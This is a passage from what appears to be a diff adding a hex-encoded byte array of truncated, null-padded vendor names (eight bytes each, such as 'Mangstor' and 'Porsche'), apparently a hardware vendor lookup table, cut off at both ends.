0x6e, +0x4d, 0x61, 0x6e, 0x67, 0x73, 0x74, 0x6f, 0x72, +0x4d, 0x79, 0x53, 0x6f, 0x63, 0x69, 0x61, 0x6c, +0x53, 0x6f, 0x79, 0x65, 0x61, 0x54, 0x65, 0x63, +0x44, 0x63, 0x6f, 0x6e, 0x77, 0x6f, 0x72, 0x6b, +0x56, 0x61, 0x68, 0x6c, 0x65, 0x44, 0x65, 0x74, +0x45, 0x75, 0x6b, 0x72, 0x65, 0x61, 0x45, 0x6c, +0x33, 0x69, 0x73, 0x79, 0x73, 0x6e, 0x65, 0x74, +0x41, 0x79, 0x65, 0x63, 0x6b, 0x61, 0x43, 0x6f, +0x4c, 0x75, 0x6d, 0x65, 0x77, 0x61, 0x76, 0x65, +0x58, 0x69, 0x41, 0x6e, 0x48, 0x69, 0x73, 0x75, +0x55, 0x2d, 0x42, 0x6c, 0x6f, 0x78, 0x00, 0x00, +0x52, 0x69, 0x7a, 0x54, 0x72, 0x61, 0x6e, 0x73, +0x50, 0x6f, 0x72, 0x73, 0x63, 0x68, 0x65, 0x43, +0x42, 0x69, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x72, 0x65, 0x78, 0x54, 0x65, +0x55, 0x6e, 0x69, 0x70, 0x72, 0x69, 0x6e, 0x74, +0x4c, 0x69, 0x74, 0x74, 0x6c, 0x65, 0x62, 0x69, +0x49, 0x6e, 0x67, 0x65, 0x6e, 0x69, 0x63, 0x53, +0x41, 0x71, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x6f, 0x75, 0x74, 0x68, 0x77, 0x65, 0x73, +0x44, 0x61, 0x74, 0x74, 0x75, 0x73, 0x00, 0x00, +0x5a, 0x6f, 0x6f, 0x6d, 0x53, 0x65, 0x72, 0x76, +0x53, 0x69, 0x6e, 0x74, 0x72, 0x6f, 0x6e, 0x65, +0x50, 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6c, +0x57, 0x65, 0x72, 0x6d, 0x61, 0x53, 0x69, 0x67, +0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x6f, +0x43, 0x65, 0x72, 0x61, 0x6d, 0x69, 0x63, 0x72, +0x49, 0x2d, 0x42, 0x74, 0x44, 0x69, 0x67, 0x69, +0x53, 0x61, 0x72, 0x74, 0x75, 0x72, 0x61, 0x44, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x45, 0x73, 0x73, +0x4d, 0x65, 0x69, 0x6b, 0x6f, 0x4d, 0x61, 0x73, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x72, 0x75, 0x6e, +0x4c, 0x75, 0x6d, 0x69, 0x6e, 0x65, 0x78, 0x4c, +0x56, 0x65, 0x72, 0x74, 0x6f, 0x4d, 0x65, 0x64, +0x42, 0x73, 0x65, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x70, 0x77, 0x65, 0x6c, 0x6c, 0x49, +0x4d, 0x69, 0x6e, 0x69, 0x2d, 0x43, 0x69, 0x72, +0x44, 0x6f, 0x6e, 0x67, 0x4f, 0x68, 0x50, 0x72, +0x4c, 0x69, 0x66, 0x69, 0x4c, 0x61, 0x62, 0x73, +0x52, 0x65, 0x6e, 0x6f, 0x41, 0x26, 0x45, 0x00, +0x4c, 0x65, 0x69, 0x65, 0x49, 0x6f, 0x74, 0x54, +0x46, 0x6f, 0x72, 0x77, 0x61, 0x72, 0x64, 0x50, +0x4f, 0x75, 0x57, 0x65, 0x69, 0x54, 0x65, 0x63, +0x58, 0x74, 0x65, 0x6c, 0x57, 0x69, 0x72, 0x65, +0x41, 0x70, 0x63, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x6b, 0x75, 0x6c, 0x6c, 0x63, 0x61, 0x6e, +0x50, 0x61, 0x73, 0x73, 0x69, 0x66, 0x53, 0x65, +0x55, 0x70, 0x77, 0x69, 0x73, 0x00, 0x00, 0x00, +0x44, 0x75, 0x63, 0x65, 0x72, 0x65, 0x54, 0x65, +0x53, 0x74, 0x6f, 0x6e, 0x65, 0x73, 0x74, 0x72, +0x45, 0x6d, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x78, +0x46, 0x6f, 0x73, 0x74, 0x65, 0x72, 0x45, 0x6c, +0x4c, 0x69, 0x6e, 0x6b, 0x63, 0x6f, 0x6d, 0x00, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x54, +0x4e, 0x65, 0x75, 0x62, 0x65, 0x72, 0x67, 0x65, +0x53, 0x6f, 0x6e, 0x69, 0x66, 0x65, 0x78, 0x00, +0x4c, 0x69, 0x6e, 0x6b, 0x74, 0x6f, 0x70, 0x54, +0x4d, 0x6f, 0x65, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x50, 0x6f, 0x65, 0x77, 0x69, 0x74, 0x00, 0x00, +0x42, 0x65, 0x73, 0x74, 0x63, 0x61, 0x72, 0x65, +0x53, 0x65, 0x70, 0x72, 0x6f, 0x52, 0x6f, 0x62, +0x53, 0x68, 0x6c, 0x54, 0x65, 0x6c, 0x65, 0x6d, +0x44, 0x73, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x6e, +0x43, 0x6e, 0x73, 0x6c, 0x69, 0x6e, 0x6b, 0x00, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x4d, +0x53, 0x6b, 0x79, 0x62, 0x65, 0x6c, 0x6c, 0x00, +0x54, 0x61, 0x6d, 0x61, 0x67, 0x61, 0x77, 0x61, +0x4c, 0x61, 0x74, 0x65, 0x63, 0x6f, 0x65, 0x72, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x4d, 0x69, +0x4b, 0x32, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, +0x42, 0x65, 0x63, 0x6b, 0x6d, 0x61, 0x6e, 0x43, +0x4d, 0x69, 0x6f, 0x73, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x76, 0x74, 0x65, 0x63, 0x68, 0x00, 0x00, +0x57, 0x69, 0x6e, 0x74, 0x6f, 0x70, 0x00, 0x00, +0x47, 0x65, 0x6e, 0x69, 0x65, 0x4e, 0x65, 0x74, +0x59, 0x6f, 0x67, 0x61, 0x00, 0x00, 0x00, 0x00, +0x57, 0x65, 0x61, 0x72, 0x61, 0x62, 0x6c, 0x65, +0x5a, 0x68, 0x65, 0x68, 0x75, 0x61, 0x54, 0x65, +0x53, 0x65, 0x6f, 0x77, 0x6f, 0x6f, 0x00, 0x00, +0x53, 0x74, 0x65, 0x61, 0x64, 0x79, 0x73, 0x65, +0x48, 0x65, 0x6c, 0x6d, 0x75, 0x74, 0x4d, 0x61, +0x51, 0x69, 0x68, 0x6f, 0x6f, 0x33, 0x36, 0x30, +0x50, 0x68, 0x6f, 0x65, 0x6e, 0x69, 0x78, 0x42, +0x4d, 0x63, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x44, 0x65, 0x6c, 0x70, 0x68, 0x69, 0x61, 0x6e, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x53, 0x65, 0x6d, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x00, 0x00, +0x48, 0x75, 0x61, 0x6e, 0x73, 0x68, 0x75, 0x6e, +0x53, 0x68, 0x6f, 0x74, 0x73, 0x70, 0x6f, 0x74, +0x41, 0x6e, 0x6f, 0x62, 0x69, 0x74, 0x54, 0x65, +0x51, 0x75, 0x61, 0x64, 0x72, 0x61, 0x6e, 0x74, +0x52, 0x63, 0x66, 0x53, 0x50, 0x41, 0x00, 0x00, +0x54, 0x6f, 0x68, 0x6f, 0x45, 0x6c, 0x65, 0x63, +0x4a, 0x61, 0x69, 0x4f, 0x79, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x66, 0x6f, 0x70, 0x69, 0x61, 0x00, +0x49, 0x6f, 0x62, 0x72, 0x69, 0x64, 0x67, 0x65, +0x5a, 0x69, 0x6d, 0x6f, 0x72, 0x79, 0x00, 0x00, +0x53, 0x6b, 0x79, 0x4c, 0x69, 0x67, 0x68, 0x74, +0x41, 0x6b, 0x65, 0x6e, 0x6f, 0x72, 0x69, 0x50, +0x53, 0x69, 0x6e, 0x77, 0x61, 0x74, 0x65, 0x63, +0x46, 0x69, 0x6b, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x73, 0x75, 0x54, +0x49, 0x67, 0x72, 0x73, 0x45, 0x6e, 0x67, 0x69, +0x43, 0x61, 0x72, 0x6d, 0x61, 0x49, 0x6e, 0x64, +0x4a, 0x69, 0x61, 0x6e, 0x67, 0x78, 0x69, 0x48, +0x56, 0x75, 0x70, 0x70, 0x61, 0x6c, 0x61, 0x6d, +0x49, 0x6e, 0x66, 0x6f, 0x72, 0x6d, 0x74, 0x65, +0x4b, 0x65, 0x6d, 0x70, 0x65, 0x72, 0x44, 0x69, +0x43, 0x65, 0x69, 0x76, 0x61, 0x4c, 0x6f, 0x67, +0x54, 0x61, 0x6e, 0x67, 0x6f, 0x77, 0x69, 0x66, +0x49, 0x62, 0x74, 0x49, 0x6e, 0x67, 0x65, 0x6e, +0x4e, 0x73, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x73, +0x56, 0x69, 0x67, 0x6f, 0x53, 0x79, 0x73, 0x74, +0x46, 0x69, 0x62, 0x65, 0x72, 0x4d, 0x6f, 0x75, +0x47, 0x61, 0x6c, 0x6c, 0x65, 0x6f, 0x6e, 0x00, +0x50, 0x72, 0x6f, 0x43, 0x6f, 0x6e, 0x63, 0x65, +0x43, 0x68, 0x65, 0x6e, 0x67, 0x64, 0x75, 0x55, +0x52, 0x69, 0x65, 0x64, 0x6f, 0x4e, 0x65, 0x74, +0x55, 0x6e, 0x69, 0x74, 0x65, 0x64, 0x47, 0x75, +0x4e, 0x65, 0x6f, 0x76, 0x65, 0x6e, 0x74, 0x75, +0x53, 0x6e, 0x61, 0x70, 0x41, 0x76, 0x00, 0x00, +0x43, 0x73, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x61, 0x78, 0x65, 0x73, 0x73, 0x55, 0x73, +0x42, 0x72, 0x61, 0x67, 0x69, 0x00, 0x00, 0x00, +0x43, 0x61, 0x6d, 0x65, 0x72, 0x6f, 0x6e, 0x65, +0x4e, 0x65, 0x6f, 0x4d, 0x6f, 0x6e, 0x69, 0x74, +0x49, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, +0x41, 0x72, 0x67, 0x6f, 0x73, 0x79, 0x54, 0x65, +0x48, 0x64, 0x70, 0x72, 0x6f, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x6c, 0x64, 0x54, 0x65, 0x63, 0x68, +0x53, 0x6f, 0x67, 0x65, 0x63, 0x61, 0x6d, 0x49, +0x45, 0x6c, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x61, +0x46, 0x69, 0x64, 0x65, 0x6c, 0x69, 0x78, 0x4f, +0x43, 0x6f, 0x73, 0x6d, 0x6f, 0x00, 0x00, 0x00, +0x4a, 0x61, 0x79, 0x62, 0x69, 0x72, 0x64, 0x4c, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x5a, 0x68, 0x6f, +0x53, 0x6d, 0x61, 0x78, 0x54, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x76, 0x69, 0x65, 0x77, 0x54, 0x65, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x77, 0x61, 0x76, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x57, 0x6f, 0x72, +0x42, 0x6f, 0x64, 0x69, 0x52, 0x73, 0x4c, 0x6c, +0x4d, 0x65, 0x73, 0x73, 0x63, 0x6f, 0x6d, 0x70, +0x48, 0x6f, 0x6d, 0x65, 0x43, 0x6f, 0x6e, 0x74, +0x53, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, +0x55, 0x70, 0x76, 0x65, 0x6c, 0x00, 0x00, 0x00, +0x41, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x63, 0x00, +0x51, 0x75, 0x61, 0x6e, 0x65, 0x72, 0x67, 0x79, +0x45, 0x6e, 0x61, 0x74, 0x65, 0x6c, 0x00, 0x00, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x45, 0x74, 0x68, +0x42, 0x6b, 0x61, 0x76, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x6f, 0x72, 0x65, 0x61, 0x43, 0x6e, 0x6f, +0x41, 0x6c, 0x70, 0x69, 0x6e, 0x69, 0x6f, 0x6e, +0x56, 0x61, 0x6c, 0x75, 0x65, 0x68, 0x64, 0x00, +0x53, 0x53, 0x69, 0x65, 0x64, 0x6c, 0x65, 0x53, +0x43, 0x76, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x72, 0x6c, 0x65, 0x79, 0x2d, 0x44, +0x4c, 0x69, 0x6e, 0x6b, 0x65, 0x64, 0x68, 0x6f, +0x48, 0x69, 0x77, 0x69, 0x66, 0x69, 0x00, 0x00, +0x4e, 0x61, 0x76, 0x65, 0x74, 0x61, 0x73, 0x45, +0x4e, 0x61, 0x70, 0x63, 0x6f, 0x53, 0x65, 0x63, +0x49, 0x70, 0x72, 0x6f, 0x61, 0x64, 0x00, 0x00, +0x44, 0x69, 0x61, 0x6f, 0x64, 0x69, 0x61, 0x6f, +0x49, 0x65, 0x61, 0x53, 0x52, 0x4c, 0x00, 0x00, +0x53, 0x6b, 0x79, 0x76, 0x69, 0x69, 0x61, 0x00, +0x41, 0x72, 0x63, 0x61, 0x64, 0x69, 0x61, 0x4e, +0x43, 0x65, 0x72, 0x63, 0x61, 0x63, 0x6f, 0x72, +0x43, 0x47, 0x56, 0x53, 0x41, 0x53, 0x00, 0x00, +0x46, 0x78, 0x69, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x53, 0x75, 0x72, 0x65, 0x53, 0x79, 0x73, 0x74, +0x44, 0x65, 0x77, 0x61, 0x76, 0x48, 0x6b, 0x45, +0x4e, 0x75, 0x68, 0x65, 0x61, 0x72, 0x61, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x73, 0x71, 0x75, 0x61, +0x54, 0x77, 0x69, 0x6e, 0x6c, 0x69, 0x6e, 0x78, +0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x61, +0x42, 0x26, 0x57, 0x47, 0x72, 0x6f, 0x75, 0x70, +0x43, 0x75, 0x62, 0x72, 0x6f, 0x41, 0x63, 0x72, +0x41, 0x76, 0x6e, 0x65, 0x74, 0x53, 0x69, 0x6c, +0x52, 0x6f, 0x63, 0x6b, 0x65, 0x65, 0x74, 0x65, +0x4d, 0x61, 0x78, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x41, 0x73, 0x63, 0x65, 0x6e, 0x74, 0x43, 0x6f, +0x42, 0x65, 0x73, 0x74, 0x57, 0x69, 0x73, 0x68, +0x4c, 0x65, 0x69, 0x74, 0x6e, 0x65, 0x72, 0x00, +0x54, 0x72, 0x69, 0x63, 0x61, 0x73, 0x63, 0x61, +0x4f, 0x66, 0x66, 0x69, 0x63, 0x65, 0x46, 0x61, +0x44, 0x65, 0x76, 0x54, 0x65, 0x63, 0x6e, 0x6f, +0x43, 0x6f, 0x67, 0x6e, 0x69, 0x74, 0x61, 0x73, +0x43, 0x7a, 0x4e, 0x69, 0x63, 0x5a, 0x53, 0x50, +0x43, 0x61, 0x78, 0x53, 0x6f, 0x66, 0x74, 0x00, +0x42, 0x75, 0x73, 0x63, 0x68, 0x2d, 0x4a, 0x61, +0x42, 0x69, 0x6f, 0x6d, 0x72, 0x69, 0x65, 0x00, +0x45, 0x6e, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x6f, 0x79, 0x53, 0x4d, 0x79, 0x74, 0x68, +0x42, 0x6f, 0x78, 0x69, 0x6e, 0x43, 0x6f, 0x6d, +0x53, 0x74, 0x65, 0x69, 0x6e, 0x73, 0x76, 0x69, +0x48, 0x75, 0x61, 0x71, 0x69, 0x6e, 0x54, 0x65, +0x45, 0x73, 0x63, 0x6f, 0x72, 0x74, 0x00, 0x00, +0x4b, 0x75, 0x68, 0x6e, 0x53, 0x61, 0x00, 0x00, +0x53, 0x61, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00, +0x58, 0x4f, 0x57, 0x61, 0x72, 0x65, 0x00, 0x00, +0x41, 0x6e, 0x68, 0x75, 0x69, 0x48, 0x75, 0x61, +0x41, 0x68, 0x6e, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x65, 0x61, 0x64, 0x63, 0x6f, 0x72, 0x65, +0x55, 0x6e, 0x69, 0x74, 0x2d, 0x45, 0x6d, 0x00, +0x4b, 0x69, 0x6e, 0x67, 0x74, 0x69, 0x6e, 0x67, +0x43, 0x32, 0x44, 0x65, 0x76, 0x65, 0x6c, 0x6f, +0x47, 0x72, 0x65, 0x79, 0x49, 0x6e, 0x6e, 0x6f, +0x45, 0x6d, 0x65, 0x67, 0x61, 0x74, 0x65, 0x63, +0x53, 0x79, 0x73, 0x6c, 0x61, 0x6e, 0x65, 0x00, +0x53, 0x70, 0x65, 0x63, 0x74, 0x72, 0x6f, 0x6e, +0x53, 0x6f, 0x6e, 0x61, 0x76, 0x61, 0x74, 0x69, +0x49, 0x74, 0x69, 0x62, 0x69, 0x61, 0x54, 0x65, +0x4a, 0x69, 0x6e, 0x61, 0x6e, 0x55, 0x73, 0x72, +0x4e, 0x65, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x61, +0x42, 0x6c, 0x75, 0x54, 0x65, 0x74, 0x68, 0x65, +0x4e, 0x61, 0x6e, 0x74, 0x77, 0x6f, 0x72, 0x6b, +0x54, 0x72, 0x69, 0x70, 0x6c, 0x65, 0x44, 0x6f, +0x56, 0x69, 0x63, 0x74, 0x6f, 0x72, 0x79, 0x43, +0x4e, 0x65, 0x74, 0x67, 0x65, 0x6e, 0x65, 0x74, +0x48, 0x75, 0x6e, 0x61, 0x6e, 0x74, 0x76, 0x43, +0x44, 0x65, 0x74, 0x72, 0x61, 0x63, 0x6f, 0x6d, +0x48, 0x69, 0x63, 0x68, 0x61, 0x6e, 0x54, 0x65, +0x45, 0x61, 0x44, 0x69, 0x73, 0x70, 0x6c, 0x61, +0x4a, 0x65, 0x6d, 0x61, 0x45, 0x6e, 0x65, 0x72, +0x52, 0x61, 0x69, 0x6e, 0x66, 0x6f, 0x72, 0x65, +0x47, 0x73, 0x6b, 0x43, 0x6e, 0x63, 0x45, 0x71, +0x41, 0x70, 0x61, 0x74, 0x6f, 0x72, 0x53, 0x41, +0x4b, 0x75, 0x6e, 0x73, 0x68, 0x61, 0x6e, 0x45, +0x42, 0x61, 0x6c, 0x6d, 0x75, 0x64, 0x61, 0x00, +0x49, 0x73, 0x75, 0x6e, 0x67, 0x00, 0x00, 0x00, +0x42, 0x65, 0x72, 0x6f, 0x6e, 0x65, 0x74, 0x00, +0x51, 0x75, 0x65, 0x73, 0x74, 0x53, 0x6f, 0x66, +0x56, 0x6f, 0x64, 0x69, 0x61, 0x4e, 0x65, 0x74, +0x42, 0x75, 0x6c, 0x61, 0x74, 0x4c, 0x6c, 0x63, +0x43, 0x69, 0x72, 0x74, 0x65, 0x63, 0x4d, 0x65, +0x57, 0x75, 0x73, 0x68, 0x00, 0x00, 0x00, 0x00, +0x4b, 0x65, 0x6f, 0x70, 0x73, 0x79, 0x73, 0x00, +0x4d, 0x61, 0x67, 0x6e, 0x61, 0x54, 0x65, 0x63, +0x4d, 0x6f, 0x6f, 0x67, 0x50, 0x72, 0x6f, 0x74, +0x5a, 0x65, 0x65, 0x62, 0x6f, 0x00, 0x00, 0x00, +0x50, 0x65, 0x70, 0x78, 0x69, 0x6d, 0x49, 0x6e, +0x50, 0x6f, 0x73, 0x74, 0x43, 0x68, 0x00, 0x00, +0x4c, 0x69, 0x62, 0x72, 0x65, 0x57, 0x69, 0x72, +0x41, 0x78, 0x61, 0x63, 0x6f, 0x72, 0x65, 0x00, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x43, 0x6f, 0x72, +0x47, 0x69, 0x61, 0x6e, 0x74, 0x65, 0x63, 0x53, +0x49, 0x64, 0x66, 0x6f, 0x6e, 0x65, 0x00, 0x00, +0x53, 0x65, 0x73, 0x61, 0x6d, 0x00, 0x00, 0x00, +0x48, 0x67, 0x47, 0x65, 0x6e, 0x75, 0x69, 0x6e, +0x54, 0x65, 0x61, 0x6d, 0x50, 0x72, 0x65, 0x63, +0x4d, 0x65, 0x64, 0x69, 0x74, 0x65, 0x63, 0x68, +0x4e, 0x61, 0x62, 0x74, 0x65, 0x73, 0x63, 0x6f, +0x47, 0x65, 0x52, 0x75, 0x69, 0x6c, 0x69, 0x49, +0x4d, 0x65, 0x64, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x43, 0x61, 0x70, 0x74, 0x69, 0x76, 0x61, 0x74, +0x45, 0x63, 0x6f, 0x6c, 0x69, 0x76, 0x54, 0x65, +0x55, 0x42, 0x54, 0x65, 0x63, 0x68, 0x00, 0x00, +0x4d, 0x69, 0x63, 0x72, 0x6f, 0x73, 0x74, 0x65, +0x41, 0x63, 0x63, 0x65, 0x6e, 0x73, 0x75, 0x73, +0x41, 0x73, 0x64, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x48, 0x61, 0x6b, 0x6b, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x6c, 0x74, 0x6f, 0x62, 0x65, 0x61, 0x6d, +0x49, 0x6e, 0x66, 0x6f, 0x62, 0x6c, 0x6f, 0x63, +0x5a, 0x65, 0x72, 0x61, 0x00, 0x00, 0x00, 0x00, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x55, +0x48, 0x63, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x53, 0x74, 0x65, 0x70, 0x46, 0x6f, 0x72, 0x77, +0x48, 0x65, 0x79, 0x72, 0x65, 0x78, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x73, 0x61, 0x74, 0x00, +0x50, 0x6f, 0x73, 0x69, 0x74, 0x69, 0x76, 0x6f, +0x48, 0x75, 0x6e, 0x61, 0x6e, 0x48, 0x6b, 0x74, +0x53, 0x6b, 0x79, 0x70, 0x6f, 0x72, 0x74, 0x00, +0x54, 0x69, 0x63, 0x6f, 0x6d, 0x47, 0x65, 0x6f, +0x41, 0x74, 0x6f, 0x6d, 0x69, 0x63, 0x52, 0x75, +0x53, 0x6f, 0x6c, 0x62, 0x65, 0x72, 0x67, 0x41, +0x41, 0x6c, 0x6c, 0x77, 0x69, 0x6e, 0x6e, 0x65, +0x42, 0x61, 0x72, 0x61, 0x6a, 0x61, 0x50, 0x74, +0x43, 0x61, 0x73, 0x63, 0x6f, 0x53, 0x69, 0x67, +0x53, 0x68, 0x69, 0x6e, 0x79, 0x65, 0x69, 0x54, +0x50, 0x61, 0x74, 0x65, 0x72, 0x73, 0x6f, 0x6e, +0x43, 0x52, 0x53, 0x49, 0x69, 0x6d, 0x6f, 0x74, +0x41, 0x70, 0x61, 0x63, 0x65, 0x72, 0x54, 0x65, +0x4c, 0x69, 0x76, 0x65, 0x73, 0x63, 0x72, 0x69, +0x42, 0x61, 0x79, 0x53, 0x74, 0x6f, 0x72, 0x61, +0x4c, 0x6f, 0x67, 0x69, 0x63, 0x6f, 0x6d, 0x53, +0x4a, 0x61, 0x6e, 0x75, 0x73, 0x53, 0x70, 0x6f, +0x49, 0x70, 0x6f, 0x72, 0x74, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x63, 0x6f, 0x6d, +0x53, 0x61, 0x70, 0x70, 0x68, 0x69, 0x72, 0x65, +0x52, 0x62, 0x63, 0x6c, 0x6f, 0x75, 0x64, 0x74, +0x43, 0x6f, 0x6d, 0x70, 0x72, 0x65, 0x73, 0x73, +0x4e, 0x65, 0x77, 0x53, 0x70, 0x69, 0x6e, 0x47, +0x4d, 0x61, 0x63, 0x61, 0x6e, 0x64, 0x63, 0x00, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x70, 0x72, 0x69, +0x43, 0x65, 0x6c, 0x6f, 0x78, 0x69, 0x63, 0x61, +0x42, 0x72, 0x6b, 0x65, 0x72, 0x74, 0x57, 0x00, +0x53, 0x6f, 0x6c, 0x69, 0x64, 0x54, 0x65, 0x63, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x62, 0x61, +0x42, 0x75, 0x68, 0x65, 0x75, 0x6e, 0x67, 0x53, +0x45, 0x78, 0x70, 0x6c, 0x6f, 0x72, 0x61, 0x54, +0x46, 0x65, 0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, +0x42, 0x65, 0x6e, 0x74, 0x65, 0x6b, 0x00, 0x00, +0x53, 0x75, 0x6e, 0x6e, 0x79, 0x48, 0x65, 0x61, +0x47, 0x65, 0x74, 0x63, 0x6b, 0x54, 0x65, 0x63, +0x54, 0x6f, 0x6e, 0x66, 0x75, 0x6e, 0x6b, 0x53, +0x54, 0x72, 0x70, 0x42, 0x76, 0x00, 0x00, 0x00, +0x45, 0x6e, 0x65, 0x72, 0x67, 0x69, 0x63, 0x61, +0x41, 0x6b, 0x79, 0x6c, 0x6c, 0x6f, 0x72, 0x00, +0x50, 0x61, 0x74, 0x72, 0x6f, 0x6c, 0x54, 0x61, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x41, +0x4c, 0x75, 0x6d, 0x65, 0x6e, 0x73, 0x44, 0x69, +0x5a, 0x61, 0x6f, 0x4e, 0x70, 0x6b, 0x52, 0x6f, +0x45, 0x78, 0x70, 0x65, 0x72, 0x69, 0x6d, 0x65, +0x41, 0x75, 0x67, 0x45, 0x6c, 0x65, 0x6b, 0x74, +0x57, 0x75, 0x68, 0x61, 0x6e, 0x51, 0x69, 0x61, +0x48, 0x65, 0x69, 0x6d, 0x69, 0x4e, 0x65, 0x74, +0x4c, 0x65, 0x74, 0x74, 0x61, 0x54, 0x65, 0x6b, +0x4e, 0x75, 0x62, 0x69, 0x61, 0x54, 0x65, 0x63, +0x53, 0x69, 0x74, 0x72, 0x6f, 0x6e, 0x69, 0x6b, +0x4c, 0x6f, 0x72, 0x65, 0x6e, 0x74, 0x4e, 0x65, +0x53, 0x74, 0x72, 0x6f, 0x6e, 0x67, 0x47, 0x65, +0x49, 0x6e, 0x6f, 0x76, 0x6f, 0x6e, 0x69, 0x63, +0x43, 0x72, 0x65, 0x65, 0x00, 0x00, 0x00, 0x00, +0x4d, 0x6f, 0x64, 0x6f, 0x6f, 0x73, 0x69, 0x73, +0x42, 0x68, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x42, 0x72, 0x61, 0x76, 0x6f, 0x54, 0x65, 0x63, +0x58, 0x73, 0x6c, 0x65, 0x6e, 0x74, 0x45, 0x6e, +0x54, 0x69, 0x74, 0x61, 0x6e, 0x50, 0x65, 0x74, +0x49, 0x6e, 0x74, 0x72, 0x69, 0x67, 0x75, 0x65, +0x54, 0x74, 0x63, 0x4e, 0x65, 0x78, 0x74, 0x2d, +0x4d, 0x72, 0x73, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x56, 0x61, 0x6c, 0x76, 0x65, 0x00, 0x00, 0x00, +0x53, 0x7a, 0x54, 0x65, 0x6c, 0x73, 0x74, 0x61, +0x46, 0x65, 0x69, 0x74, 0x45, 0x6c, 0x65, 0x63, +0x43, 0x68, 0x61, 0x6c, 0x6c, 0x65, 0x6e, 0x67, +0x53, 0x74, 0x61, 0x67, 0x65, 0x4f, 0x6e, 0x65, +0x50, 0x6c, 0x65, 0x78, 0x78, 0x69, 0x00, 0x00, +0x43, 0x61, 0x76, 0x61, 0x6e, 0x61, 0x67, 0x68, +0x44, 0x61, 0x74, 0x61, 0x2d, 0x43, 0x6f, 0x6d, +0x50, 0x72, 0x65, 0x6d, 0x69, 0x65, 0x74, 0x65, +0x48, 0x69, 0x2d, 0x50, 0x45, 0x6c, 0x65, 0x63, +0x41, 0x78, 0x65, 0x73, 0x6e, 0x65, 0x74, 0x77, +0x4c, 0x61, 0x65, 0x72, 0x64, 0x61, 0x6c, 0x4d, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x69, 0x64, 0x00, +0x44, 0x65, 0x74, 0x6c, 0x65, 0x66, 0x46, 0x69, +0x43, 0x6c, 0x6f, 0x75, 0x64, 0x6c, 0x65, 0x61, +0x4a, 0x69, 0x6e, 0x61, 0x6e, 0x4a, 0x6f, 0x76, +0x44, 0x69, 0x67, 0x69, 0x76, 0x69, 0x65, 0x77, +0x43, 0x2d, 0x44, 0x61, 0x74, 0x61, 0x54, 0x65, +0x52, 0x61, 0x79, 0x62, 0x61, 0x73, 0x65, 0x64, +0x57, 0x68, 0x69, 0x73, 0x74, 0x6c, 0x65, 0x4c, +0x54, 0x65, 0x63, 0x68, 0x62, 0x6f, 0x61, 0x72, +0x45, 0x76, 0x69, 0x64, 0x65, 0x6e, 0x63, 0x65, +0x47, 0x72, 0x65, 0x65, 0x6e, 0x62, 0x79, 0x74, +0x48, 0x69, 0x67, 0x68, 0x47, 0x72, 0x61, 0x64, +0x4e, 0x61, 0x74, 0x61, 0x2d, 0x49, 0x6e, 0x66, +0x45, 0x78, 0x70, 0x6f, 0x6e, 0x65, 0x6e, 0x74, +0x52, 0x65, 0x70, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x4f, 0x72, 0x74, 0x68, 0x6f, 0x73, 0x6f, 0x66, +0x41, 0x74, 0x6f, 